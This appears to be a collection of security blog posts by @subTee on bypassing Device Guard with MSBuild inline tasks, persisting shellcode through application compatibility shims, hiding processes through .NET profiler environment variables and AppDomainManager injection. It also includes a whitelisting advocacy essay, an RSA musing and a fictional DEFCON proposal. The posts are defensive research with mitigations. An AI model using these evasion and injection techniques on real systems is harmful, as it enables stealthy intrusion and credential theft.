Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations

0
0
I’ve said it before, but when you start down the road of Application Whitelisting, you need to take the extra steps to look at the functionality of the applications you are trusting, and see if they come with “extra features”.


By using signed Microsoft binaries, and injecting code into them, we effectively cloak our binaries so that they can execute, even under the watchful eye of Device Guard. 



It is important to realize; this is a misplaced trust bypass.  The product works fine, in fact, you can even use Device Guard to mitigate against this bypass. See details below.


Device Guard is a new addition and is very effective at mitigating untrusted code. Please don’t mistake this bypass as a reason to dismiss this defense.  I highly recommend Device Guard to organizations.  For additional information, you can watch this talk:


In May of this year, I started looking into a way to bypass Device Guard. I like to start with default utilities that may be able to execute code as they are often implicitly trusted.  None of my previous AppLocker bypasses would work against Device Guard, so it was time to try something new.

 

I built up a base Windows 10 Enterprise Workstation.  An example Device Guard configuration can be found here by Matt Graeber (@mattifestation):



I found a Microsoft signed tool called MSBuild.exe. This is a default .NET utility that ships with Windows. I usually start with the question; ‘HOW could I get MSbuild to execute code for me?’.


Turns out, MSBuild.exe has a built in capability called “Inline Tasks”.  These are snippets of C# code that can be used to enrich the C# build process.  Essentially, what this does, is take an XML file, compile and execute in memory on the target, so it is not a traditional image/module execution event.


If you trust MSbuild on your system, or if it gets picked up in a “Gold” Image for Device Guard, it can be used to execute arbitrary binaries. 


Inline Task Reference:


So, I wrote a quick POC to make sure I could get my code to execute on the system, before going too far down the road.



Once I knew the code would execute via MSbuild.exe, I set out to wrap Mimikatz into a file to allow it to execute inside of MSBuild.exe. This wasn’t too hard, since I had done something like this for InstallUtil.exe last year.  I also wrote a utility to remove PowerShell Constrained Language mode, if needed.



Examples:  Tested on Windows 10 x64 Only - 

1.)   Hello World!

2.)   Remove Constrained Language Mode in PowerShell

3.)   Mimikatz Execute -

b.)   Note: This simply executes Mimikatz, it does NOT bypass Credential Guard.



Mitigations:

You will need to monitor execution of this tool in your environment. It is my belief, that you will likely not need this tool on devices that run Device Guard, but it will be up to you to monitor execution events to determine that.  Tools like Sysmon or even Device Guard in Audit Mode.

Also monitoring 4688 events


One documented mitigation solution using Device Guard is to follow the guidance in Matt’s blog reference below to be certain that untrustworthy binaries don’t execute.



Matt has also created a sample configuration to block these types of binaries.  This can be found here:




Here is what I have been trying to say for some time…"If you authorize things to run that that can then be used to run arbitrary code, then it can bypass many whitelisting applications. This means for a real lockdown administrators need to block these types of binaries.  MsBuild.exe being the latest in a growing list of default tools that behave this way."


If you find these types of files, help us catalog how they work and we can deploy proper mitigations. I will be posting these only when I have the vetted mitigation details ready for defenders.


Proof of Concept Video:  With Music ;-)



That’s all I have for today.

Cheers,



Casey
@subTee

Consider Application Whitelisting with Device Guard

0
0


I realize that Twitter is a difficult medium to articulate full discussions, so I wanted to engage the topic with a blog post. Over the last couple years, I have focused a fair amount of time drawing attention to the use/misuse of trusted binaries to circumvent Application Whitelisting (AW) controls.  What I have not often discussed, is the actual effectiveness that I have seen of using AW. I would like to take the time to describe what I see are the strengths of AW, and encourage organizations to consider if it might work for their environments.
The genesis of this discussion came from my colleague, Matt Graeber (@mattifestation).  We’ve spent a fair amount of time looking at this technology as it applies to Microsoft’s Device Guard. And while we agree there are bypasses, we also believe that a tool like Device Guard can dramatically reduce the attack surface and tools available to an adversary.
One question you must ask yourself and your organization is this… How long will you allow the adversary to use EXE/DLL tradecraft to persist and operate in your environment? I have heard a great deal of discussion and resistance to deploying AW. However, I personally have not heard anyone who has deployed the technology say that they regret whitelisting.
When the organization I used to work for deployed AW in 2013, it freed up our team from several tasks.  It gave us time to hunt and prepare for the more sophisticated adversary.  There are many commodity attacks and targeted attacks that take various forms.  However, one commonality they all often share is to drop an EXE or DLL to disk and execute. It is this form of attack that you can mitigate with AW.  With whitelisting, you force the adversary to retool and find new tradecraft, because unapproved, unknown binaries will not execute…
How long will you continue to perform IR and hunt C2 that is emitted from an unapproved PE file?
Here are some of the common reasons I have heard for NOT implementing AW. There are probably others, but this summarizes many.


1.    Aren’t there trivial bypasses? It doesn’t stop all attacks.
2.    Too much effort.
3.    It doesn’t scale.
I’ll take each of these and express my opinion. I’m open to dialogue on this and if I’m wrong, I would like to hear it and correct course…
1.    Aren’t there trivial bypasses to AW?  It doesn’t stop all attacks.
There are indeed ways to bypass AW.  I have found a few.  However, most of the bypasses I have demonstrated require that you have already obtained access to, and have the ability to execute commands on the target system. How does the attacker gain that privilege in the first place if you deny them arbitrary PE’s?  Most likely it will be from a memory corruption exploit in the browser or other application.  How many exploit kits, macros, or tools lead to dropping a binary and executing it?  Many do…
Most of the bypasses I have used are rooted in misplaced trust.  Often administrators of AW follow a pattern of “Scan A Gold Image & Approve Everything There”.  As Matt Graeber has pointed out to me several times, this is not the best approach.  There are far too many binaries that are included by default that can be abused. A better approach here is to explicitly trust binaries or publishers of code.  I can’t think of a single bypass that I have discovered that can’t be mitigated by the whitelist itself.  For example, use the whitelist to block regsvr32.exe or InstallUtil.exe.
Don’t fall victim to thePerfect Solution Fallacy.  The fact that AW doesn’t stop all attacks, or the fact that there are bypasses, is no reason to dismiss this as a valid defense.


“Nobody made a greater mistake than he who did nothing because he could do only a little.”–Edmund Burke
AW, in my opinion, can help you get control of software executing in your environment. It actually gives teeth to those Software Installation Policies. For example, it only takes that one person trying to find the Putty ssh client, and downloading a version with a backdoor to cause problems in your network.  For an example of how to backdoor putty see this recent post. Or use The Backdoor Factory (BDF). The thing is, it doesn’t matter that putty has a backdoor.  The original file has been altered, and will not pass the approval process for the whitelist, and the file will be denied execution. Only the approved version of putty would be able to execute in your environment.
2.    Too much effort.
Well… I’ve heard this, or some variation of it.  I understand that deploying and maintaining AW takes tremendous effort if you want to be successful.  It actually will take training multiple people to know how to make approvals and help with new deployments.
You will actually have to work very closely with your client teams, those in IT that manage the endpoints.  These partnerships can only strengthen the security team’s ability to respond to incidents. You can leverage tools like SCCM to assist with AW approvals and deployments.
The level of effort decreases over time.  Yes, there will be long hours on the front end, deploying configurations, reviewing audit logs, updating configs, etc… Some admins are so worried they will block something inadvertently; they are paralyzed to even try.  I think you’ll find out, Yes, you will block something legitimate.  Accept that this will happen, it’s a learning process, take it in steps.  Use that as an opportunity to get better.
I’ll say it again; I haven’t met anyone who has made the effort to deploy AW say that they regret the decision…
If you think it’s too hard, why not try 10% of the organization and see what you learn?
Stop telling me you aren’t doing this because it’s too hard… Anything worth doing well is going to require some effort and determination.
3.    It doesn’t scale.
Nope, it may not in your environment.  I never said it would… You must decide how far to go.  You may not get AW everywhere, but you can still win with it deployed in critical locations.  The image below describes how I think about how AW applies to different parts of your organization.  It is not a one-size-fits-all solution.  There are approaches and patterns that affect how you will deploy and configure whitelists. I think you should start with the bottom, and work your way up the stack.
Start to think of your environment in terms of how dynamic the systems are.  At the low end of the are those fixed function systems.  Think about systems similar to Automated Teller Machines.  These often only need to be able to apply patches.  New software rarely ever lands here.  Next, you have various department templates, each department will be unique, but likely fits a pattern.  Then IT Admins, who often need to install software to test or have more dynamic requirements.  At the top of the environment, are Developer workstations.  These are systems that are emitting code and testing.  I’m not saying you can’t whitelist here.  You can, I’ve done it.  But it will require some changes to build processes, code signing etc…


Yes, this is an overly simplified analogy, but I hope it helps you see where you can begin to prioritize AW deployments.
So, begin to reorient how you think about your systems to how dynamic they are.  You will have your quickest wins and earliest wins by starting at the bottom and moving your way up the hierarchy.


Conclusion


I am curious for open debate here.  If AW sucks, then let me hear why.  Tell me what your experience has been.  What would have made it work?  I’m interested in solutions that make a long term actual difference in your environment.  It is my opinion that AW works, despite some flaws.  It can dramatically reduce the attack patterns used by an adversary and increase the noise they generate.  I also believe that by implementing AW, your security teams can gain efficiencies how they operate. I am open to learn here.
If you are tasked with defending your organization, I’m asking you, as you begin to roll out Windows 10, to consider using Device Guard.


Ok, that’s all I have today.  Sincere feedback welcome.  If you think I’m wrong, I’d like to hear why...

Cheers,

Casey
@subTee


Using Application Compatibility Shims

0
0

Overview:

There have been number of blog posts and presentations on Application Compatibility Shims in the past [See References at End].  Application Compatibility is a framework to resolve issues with older applications; however, it has additional use cases that are interesting. For example, EMET is implemented using shims[1,2]. Please see the Reference section below for additional reading and resources.  In short, this document will focus on the following tactics: injecting shellcode via In-Memory patches and injecting a DLL into a 32bit process, and lastly, detection and shim artifacts will be discussed.  An In-Memory patch has this advantage over backdooring an executable: it this preserves the signature and integrity checks.  This technique can also bypass some Application Whitelisting deployments.  AppLocker, for example, would allow the startup of a trusted application, and then an In-Memory patch could be applied to alter the application.


Shim Installation:
The shim infrastructure is built into Windows PE loader. Shims can be applied to a process during startup. There is a two-step process that I will refer to as “Match and Patch”.  The Match process checks the registry on process create and looks for a relevant entry. If an entry is found, the Match process further checks the associated .sdb file for additional attributes, version number for example.  Based on my understanding, the sdb does need to be present on disk. I have not encountered any tactics to load an sdb file from memory or remotely. When the Shim Databases are installed they are registered in the registry at the following two locations:


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB


These entries can be created manually, using sdb-explorer.exe, or using the built-in tool sdbinst.exe. If you use sdbinst.exe there will also be an entry created in the Add/Remove Programs section. In order to install a shim, you need local administrator privileges.


An example of a shim entry would look like this:




Once the shim has been installed, it will be triggered upon each execution of that application. Remember, there is further validation of the executable inside of the sdb file. For example, matching a specific version or binary pattern. I have not found a way to apply a shim when a DLL is loaded, or apply a shim to an already running process.  These registry keys plus the actual sdb file are the indicators for the Blue Team that a shim is present.  


Shim Creation and Detonation:
There are two tools we can use to create shims. First, the Microsoft providedApplication Compatibility Toolkit (ACT).  Second, the tool created by Jon Erickson,sdb-explorer.exe.  ACT will allow us to inject a DLL into a 32-bit process, while sdb-explorer allows us to create an In-Memory binary patch to inject shellcode. The ACT has no ability to parse or create an In-Memory patch. This can only be done via sdb-explorer.


There is an excellent walk-through here oncreating an InjectDLL Demo.


For the remainder of this document, we will focus on using sdb-explorer to create and install an In-Memory patch.


My testing seems to indicate this will not work on Windows 10.  This tactic will only work on Windows versions <= 8.1.  I could be wrong about this, so please share any insight if you have it.


There are two approaches you can take with sdb-explorer.  First, you can simply Replace or write arbitrary bytes to a region in memory. Second, you can match a block of bytes and overwrite. There are advantages and disadvantages to both approaches. It is worth noting that this method of persistence will be highly specialized to the environment you are operating in. For example, you will need to know specific offsets in the binary   




For this to work, we need an offset to write out shellcode to. I like to useCFF Explorer.


Here we are going to target the AddressOfEntryPoint. There are other approaches as well.  The drawback to this approach is the application doesn’t actually execute. In order to do that you would need to execute your patch and then return control to the application.  I leave that as an exercise for the reader.


Once we have the offset, we can use the syntax provided by sdb-explorer to write our shellcode into the process at load time.


If we break down the syntax, it is pretty easy to understand.


Line 7. 0x39741 matches the PE Checksum. This is in the PE Header.




Line 8. 0x3689 is the offset of our AddressOfEntryPoint.  What follows is just stock shellcode to execute calc.


Once our configuration file is created, we “compile” or create the sdb.
sdb-explorer.exe –C notepad.conf –o notepad.sdb.


Then install it:


sdb-explorer.exe –r notepad.sdb –a notepad.exe


You can also use:


sdbinst –p notepad.sdb.


In either case it requires local administrative rights to install a shim.


Notepad.exe is nice. But more likely shim targets would be explorer.exe, lsass.exe, dllhost.exe, svchost.exe. Things that give you long term persistence. Of course your shellcode would need to return control to the application, instead of just hijacking AddressOfEntryPoint.


Shim Detection:
There are two primary indicators that a shim is being used. First, the registry keys mentioned above.  Second, the presence of the .sdb file. The presence of the .sdb file is not necessarily bad, it would be wise to build a baseline to understand which shims your organization uses and which would be an indicator. There was a good example of detecting shim databases given here:  Hunting Memory, on slide 27.  Also, some shim registration activity can be recorded in the Microsoft-Windows-Application-Experience-Program-Telemetry.evtx.


Cheers,


Casey
@subTee


References:





Subvert CLR Process Listing With .NET Profilers

0
0
I recently stumbled onto an interesting capability of the CLR.

"A profiler is a tool that monitors the execution of another application. A common language runtime (CLR) profiler is a dynamic link library (DLL) that consists of functions that receive messages from, and send messages to, the CLR by using the profiling API. The profiler DLL is loaded by the CLR at run time."

https://msdn.microsoft.com/en-us/library/bb384493(v=vs.110).aspx

So. whats the big deal, really?

Turns out in .NET 4 allows for Registry-Free Profiler Startup and Attach.  This can lead to some unintended consequences.

https://msdn.microsoft.com/en-us/library/ee471451(v=vs.100).aspx

In order for this work, you need to set 3 environment variables.

Again from MSDN:

Startup-Load Profilers


A startup-load profiler is loaded when the application to be profiled starts. The profiler is registered through the value of the following environment variable:
  • COR_ENABLE_PROFILING=1
Starting with the .NET Framework 4, you use either the COR_PROFILER or the COR_PROFILER_PATH environment variable to specify the location of the profiler. (Only COR_PROFILER is available in earlier versions of the .NET Framework.)
  • COR_PROFILER={CLSID of profiler}
  • COR_PROFILER_PATH=full path of the profiler DLL
If COR_PROFILER_PATH is not present, the common language runtime (CLR) uses the CLSID from COR_PROFILER to locate the profiler in the HKEY_CLASSES_ROOT of the registry. If COR_PROFILER_PATH is present, the CLR uses its value to locate the profiler and skips registry lookup. (However, you still have to set COR_PROFILER, as discussed in the following list of rules.)
So, if our objective is to hijack a .NET process, like say PowerShell, we don't really want a Profiler to load, we just want to be able to manipulate the process.  It turns out you can get a dll to load into the .NET process that is not even a Profiler.  This was interesting to me.  The CLSID is just random for this purpose.

So, I had this idea, I could write quick POC DLL that hides a process from PowerShell.  Well, short story is this.  If you load a Profiler, and don't properly setup the Profiler structures, then the .NET CLR will promptly eject your dll.

For details of how we hook and hide see this article.

Thats ok.  ;-)  So what I did was create a DLL that loads another DLL from memory, and then when my profiler gets evicted, my hooking dll will stay resident.  So the Profiler just becomes a bootstrap.

The result seen in this clip below.  We enumerate processes with Get-Process in a "non-profiled" PowerShell process.  We get the details just fine.  Then we set our environment variables, load our PowerShell process, and now, the processes are not seen.

Video:



Why does this matter.  As PowerShell become the window through which many sysadmins poll and interrogate the operating system.  By using attaching a malicious profiler, we can mold the output so to speak to be what we want.

This was just a very basic example.  I leave it up to you to explore further capabilities of tampering with the CLR/.NET applications through profilers.

Hope that was helpful.

Thats all for today.




Casey
@subTee





Do you really need quantum mechanics to solve RSA?

0
0
Suppose for example you could calculate the square root of an arbitrary number modulo the product of two primes. What would the implications be?

There is an algorithm to compute the square root modulo a prime number.  Daniel Shanks was a brilliant mathematician who came up with really interesting equations...

One of them being Shanks-Tonelli.  Or Tonelli-Shanks... ;-)

So who the really cares.  Well, in some circles, Daniel Shank's work is considered very important...  I leave it to the reader to determine that.

Here is some math.

Suppose you need to calculate the square root of 18 mod 23.

How would you do this?  You need to find a such that a^2 == 18 mod 23

Take a minute to work that out.

The answer is of course 15.  or 8 since 8 + 15 == 23 or 0 mod 23

But what if you could compute a square root modulo the product of two primes?

Lets take 17 x 23 = 391

Now, you need to calculate the square root of 179 modulo 391...

Pretty easy since 391 is small.  Check this out

http://www.numbertheory.org/php/squareroot.html

So who cares?

Well... the square root is 54 or 337
or maybe 31 or 360

Ah Ha....  so 54^2 == 179 modulo 391
So does 31^2 == 179 modulo 391

HOLY SHIT, maybe lol

so wtf if you take gcd(54 -31,391)  ???

suddenly you see that 54-31 == 23 which is a factor of 391.

Well that sucks right?

Cause your RSA  crypto depends on people not knowing the factors...  And your crypto probably depends on the human spirit giving up and not trying to solve this equation...

I hope you didn't choose a weak prime.  Such that square roots can be computed by a^(p+1)/4...

If you think that RSA has not been solved...  Well, it probably has been (Pure speculation lol)  But some agencies hire the best and brightest Mathematical minds)  Check out this for reading (https://www.amazon.com/Delusions-Intelligence-Enigma-Secure-Ciphers/dp/0521736625)

Ok so if a generalized version of Shanks-Tonelli is known... Then RSA and other crypto systems fall...

Thats all for now.




Heavily influence by "The Truth" IPA

Cheers

Casey
@subTee


Attacking the CLR - AppDomainManager Injection

0
0
I have been interested in attacking CLR to be able to manipulate .NET apps, like PowerShell.
For example using .NET profilers here:

Recently I was reading this article about the CLR and execution events:

http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/

One of the interesting things I stumbled on was this reference to CLR tuning:

https://github.com/dotnet/coreclr/blob/master/Documentation/project-docs/clr-configuration-knobs.md

Of particular interest I saw these environment variables that can be set. You can also set these in an app.config file.




AppDomain Managers are interesting in that they setup the environment, before your .NET app runs.

I'll keep this short.  You can manipulate the runtime, by getting your code to execute prior to the application.

Here's some code.



This also can work against PowerShell.exe too.  ;-)


I leave it to you to explore whats possible here.

Have fun, keep asking questions!





Cheers,

Casey
@subTee

DEFCON 30 CFP: New Directions in Cryptanalysis, an Exploration of Disruptive Disclosure

0
0
I had some free time today, and started thinking about what would it be like to disclose a globally disruptive vulnerability. Where and how would you do that? I started thinking about what might this actually look like. So I chose the theme as a rogue cipher punk team that solves some critical equations. How would they get the word out. Safely? While I'm working out the details, this is my fictional write up of what that CFP looks like in 2022. I know its a bit different than my other blog posts. But hopefully highlights the dependency and brittleness we have if this were to ever occur. I don't think we can really imagine the scale of disruption.

So, here it is my 2022 DEFCON 30 CFP, a work of fiction. The setting is 5 years after a globally disruptive disclosure affecting cryptographic algorithms. This is the CFP submitted to DEFCON 30, in 2022 to outline the events that took place. The idea is less focused on the how it the equations were solved, and more on the "now what"... that they have been...How would you distill down what you needed to say in 90 minutes. What does the audience know, what have they lived through...

Here you go:

Title of Presentation: New Directions in Cryptanalysis, an Exploration of Disruptive Disclosure
Presentation Length: 80 minutes 10 Minutes Q&A
Presenters:  Mallory

Abstract:  Cryptography in the modern era was based on the assumption that certain mathematical problems are difficult to solve. These algorithms were said to be intractable. This talk explores how our team found a solution in polynomial-time to the Discrete Log Problem (DLP) and the Integer Factorization Problem (IFP). These two problems are closely related as you are now aware. What did we do when we found solutions to these problems? This talk will discuss the challenges our team faced in communicating our research. We will explore the mathematical primitives and assumptions that led to our solution. This talk will focus on the implications these solutions had on the global infrastructure.  We will also explain the background behind the Cipher Suite Resilience (CSR) standard, and how organizations can be better prepared for rapid cipher suite shifts. From signed Kernel Drivers to secure Authentication and Communication. The impact of this disclosure was far reaching. Hardly an area of modern technology was not affected by this disclosure. This talk will be a behind the scenes look at the events of 2017.  Including detailed information on how we disclosed the solution and remained anonymous. We think this talk will help organizations be better prepared for the next globally disruptive disclosure.

Bio: Mallory is a member of the Kult of Pythagoras (KoP), an international organization founded in 2005 with the idea that mathematical knowledge and solutions should no longer be held exclusively by any organization. These solutions and knowledge should be freely available for the benefit of humanity. The founding members are known only as Alice, Bob and Mallory.  In late 2017, Mallory revealed a solution to the Discrete Log Problem(DLP) and Integer Factorization Problem (IFP). Originally focused on internet security, their research has since had a direct impact on many fields including Genetics, Astronomy and many other Data-driven sciences. To this day the members of KoP remain anonymous.

Outline:

1. Who is the Kult of Pythagoras? What do we believe, and what is our mission? (3-5 minutes)

A brief introduction about each of the founding members.  Our objectives and philosophy.

2. Talk Introduction.  Outline of what we will cover.  (10 minutes)

Modern mathematical research is shrouded in a language and mystique of its own. We will discuss the challenges we faced bringing forwarded a solution to the DLP & IFP. What are the realities faced by researchers wanting to disclose a globally disruptive solution?  Who did we tell first? How did we maintain equality for global disclosure? What means were used to alert authorities and organizations that a solution had been found.  What was adequate lead time to allow organizations to prepare for the disclosure?

3. Vintage Cipher Suite Background and primitives. (5 minutes)
It has now been proven these are solvable and cryptographic systems that use these should be decommissioned. This will lay the foundation for how these problems are related.

Discrete Log Problem (DLP)
Integer Factorization Problem (IFP)
Root Finding Problem (RFP)

4.  Roots of Unity - The Square Root of One. ( 15 minutes )
The solution to DLP and IFP resides in an elegant number, the square root of 1.  It was known that the square root with a prime modulus can be found efficiently using the Tonelli-Shanks Algorithm. By applying this to a composite modulus we were able to efficiently find factors of a modulus of any size. This also led to an alternative way to compute the multiplicative inverse of an exponent, the basis for many cryptographic schemes.
5.  The Disclosure - How we did it. Safely. (20 Minutes )
Solving these problems was only the beginning. Disclosing the solution to these problems is not often considered when working on a solution. The impact of solving these equations is of immense interest to certain individuals and organizations. In order to ensure that these solutions were not suppressed, we devised a scheme to announce to the world that we indeed had access to such solutions and were prepared to disclose them, for free. In order to better prepare the global community for our disclosure, Mallory devised a scheme for both proving to the world that we had a solution, and at the same time, protecting that solution until organizations were prepared. This is now known anecdotally as the "Your Crypto Has No Clothes" memo of December 2017. This led to a global effort to remove vulnerable cipher suites. While many organizations were caught unprepared, we feel that the gap between the memo and disclosure, allowed competent organizations to be understand what was on the horizon and to prepare.

6.  The Chase - How we were hunted. How we stayed safe. (10 Minutes )
Once we announced our intent to disclose, an organized effort took place to suppress the disclosure. By taking the proper countermeasures we were able to watch this unfold, and were alerted to encroachments on our privacy perimeter. Needless to say, there are people who did not want this solution to be disclosed. We quickly learned who was interested in suppressing this disclosure, and took steps to ensure the world got the solutions to these equations. We seek to inform future researchers of our lessons learned, and provide tips for future disruptive disclosure.

7. Cipher Suite Resilience (CSR) - Be ready for the next one. ( 10 Minutes )
In 2017 we learned how dependent our systems and protocols were in antiquated algorithms quickly. The disclosure revealed how critical, brittle and fragile our systems are and incapable of change. From this emerged the CSR, a suite of standards to prepare organizations, systems, and protocols for disruptive disclosures. We hope organizations are now adopting and implementing the recommendations in this standard.

8.  The Conclusion.  (5 Minutes )
We will close with our thoughts on the current events we see unfolding today.  The consequences of the lack of cipher resiliency, and ideas on how to move forward.

List of Conferences:  We have not presented this material to any other conferences.

Why is this a good fit for DEFCON:

We have been in attendance and participated in DEFCON for several years. We feel that our conversations and philosophies were heavily influenced by this community. We feel this is the best venue to bring forward the behind the scenes look at what happened in 2017. The responsible disclosure of these disruptive solutions proved to be much more difficult than we imagined. We hope to share our lessons learned so that other researchers can benefit.  We hope to inspire others to bring forward solutions that have been locked away.

Previous experience:
We have presented under different names at DEFCON, BlackHat, DerbyCon, multiple BSides events. We will present our original document of solutions for archive in the DEFCON proceedings.  

List of facilities requested: Mallory will provided a link to the video file securely to the organizers of DEFCON. This talk has been pre-recorded. In an effort to maintain our privacy, we hope you will accept this unusual talk delivery.
Viewing all 45 articles
Browse latest View live




Latest Images